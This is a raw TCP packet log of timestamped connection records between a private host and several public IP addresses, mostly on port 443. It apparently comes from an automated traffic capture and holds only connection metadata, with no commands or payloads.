Oct 27, 2024 17:54:34.744330883 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.745016098 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:34.747726917 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.750567913 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.750576973 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.751694918 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.751775026 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.751883030 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.751899958 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.753110886 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.753180027 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.753417969 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.753473043 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.753866911 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.753948927 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.762512922 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.770838976 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.770879030 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.771701097 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.771790028 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.772711039 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.772790909 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.775054932 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.775151968 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.779284954 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.779305935 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.779405117 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.806699991 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.806720018 CET	443	49864	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.823354959 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:34.868777990 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.868797064 CET	443	49863	172.64.41.3	192.168.2.5
Oct 27, 2024 17:54:34.868841887 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:34.876285076 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.876518011 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.876530886 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.876806974 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.877469063 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.877490997 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.877656937 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.877716064 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.877785921 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.878007889 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.878014088 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.878397942 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.878442049 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.878685951 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.878742933 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.878874063 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.878966093 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.878976107 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.887813091 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.888354063 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.888371944 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.888746977 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.888752937 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.915105104 CET	49864	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:34.919370890 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.926246881 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.926883936 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.926909924 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.927400112 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.927406073 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.951153994 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.951571941 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.951611996 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.952061892 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:34.952075005 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:34.958116055 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.958365917 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.958383083 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.959970951 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.960035086 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.960661888 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.960742950 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:34.961080074 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:34.961086988 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.011446953 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.011495113 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.011694908 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.011791945 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.011815071 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.011828899 CET	49869	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.011837006 CET	443	49869	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.014818907 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.014828920 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.014904976 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.015114069 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.015130043 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.022285938 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.022290945 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.022310019 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.025413036 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025482893 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025528908 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.025541067 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025665045 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025712967 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.025757074 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.025763988 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025778055 CET	49867	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.025783062 CET	443	49867	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025899887 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.025958061 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.026021957 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.026029110 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.026268005 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.026278019 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.026282072 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.026377916 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.026621103 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.026701927 CET	443	49865	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.026813984 CET	49865	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.029999018 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.030009985 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.030065060 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.030250072 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.030260086 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.030762911 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.030806065 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.030877113 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.031033993 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.031049967 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.056807995 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.056881905 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.056962967 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.057223082 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.057231903 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.057243109 CET	49870	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.057248116 CET	443	49870	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.061497927 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.061516047 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.061624050 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.061758995 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.061772108 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.069303036 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069334984 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069344997 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069396973 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069427967 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069449902 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069477081 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069477081 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069477081 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069477081 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069505930 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.069551945 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069551945 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.069565058 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.070960045 CET	49863	443	192.168.2.5	172.64.41.3
Oct 27, 2024 17:54:35.080249071 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.080490112 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.080506086 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.081942081 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.082026958 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.082958937 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.083002090 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.083091974 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.083096981 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.083163023 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.083337069 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.083344936 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.083655119 CET	49871	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.083677053 CET	443	49871	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.088447094 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.088493109 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.088566065 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.088767052 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.088787079 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.187036991 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.187072039 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.187117100 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.187165976 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.187196970 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.203279972 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.212116003 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.212135077 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.212214947 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.212219000 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.212369919 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.212886095 CET	49873	443	192.168.2.5	152.195.19.97
Oct 27, 2024 17:54:35.212908983 CET	443	49873	152.195.19.97	192.168.2.5
Oct 27, 2024 17:54:35.270946980 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.304181099 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304193974 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304234028 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304274082 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304294109 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.304313898 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304341078 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.304352045 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.304382086 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.304403067 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.312820911 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.312860012 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.312953949 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.313262939 CET	49879	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.313276052 CET	443	49879	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421602964 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421618938 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421658039 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421690941 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421710014 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.421730042 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.421760082 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.421760082 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.421787977 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.458481073 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458506107 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458514929 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458530903 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458556890 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458568096 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458594084 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.458638906 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.458672047 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.458738089 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.507965088 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.507994890 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508002996 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508023977 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508033037 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508040905 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508045912 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.508059978 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.508079052 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.508104086 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.525779963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:35.526000023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:35.538831949 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.538850069 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.538888931 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.538928032 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.538942099 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.538978100 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.539004087 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.575221062 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.575244904 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.575309992 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.575356007 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.575388908 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.575409889 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.628192902 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628206015 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628238916 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628252983 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628264904 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.628273964 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628281116 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.628309965 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.628333092 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.655852079 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.655925989 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.655966997 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.655988932 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.656021118 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.656085968 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.692177057 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.692208052 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.692269087 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.692287922 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.692322969 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.692482948 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.748256922 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.748725891 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748739004 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748769999 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748784065 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748801947 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.748811960 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748817921 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.748842001 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.748868942 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.748970985 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.748989105 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.749545097 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.749550104 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.773145914 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.773210049 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.773257017 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.773266077 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.773300886 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.773312092 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.777441025 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.778193951 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.778233051 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.778244972 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.778804064 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.778814077 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.779468060 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.779481888 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.779946089 CET	49875	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.779951096 CET	443	49875	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.794188976 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.794524908 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.794559956 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.794943094 CET	49877	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.794950008 CET	443	49877	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.813075066 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.813097954 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.813146114 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.813163996 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.813193083 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.813426018 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.813497066 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.813559055 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.813568115 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.816190958 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.816245079 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.816287041 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.816287041 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.816339970 CET	443	49866	20.25.227.174	192.168.2.5
Oct 27, 2024 17:54:35.816374063 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.816389084 CET	49866	443	192.168.2.5	20.25.227.174
Oct 27, 2024 17:54:35.826471090 CET	49872	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.826495886 CET	443	49872	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.839864016 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.869738102 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.869752884 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.869787931 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.869801044 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.869811058 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.869823933 CET	443	49868	13.107.246.57	192.168.2.5
Oct 27, 2024 17:54:35.869847059 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.869853973 CET	49868	443	192.168.2.5	13.107.246.57
Oct 27, 2024 17:54:35.875433922 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.875477076 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.875986099 CET	49878	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.875996113 CET	443	49878	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.879976988 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.880115032 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.880168915 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.880343914 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.880352020 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.880374908 CET	49874	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.880379915 CET	443	49874	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.905715942 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.905868053 CET	443	49876	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:35.906187057 CET	49876	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:35.906606913 CET	49876	443	192.168.2.5	13.107.246.45
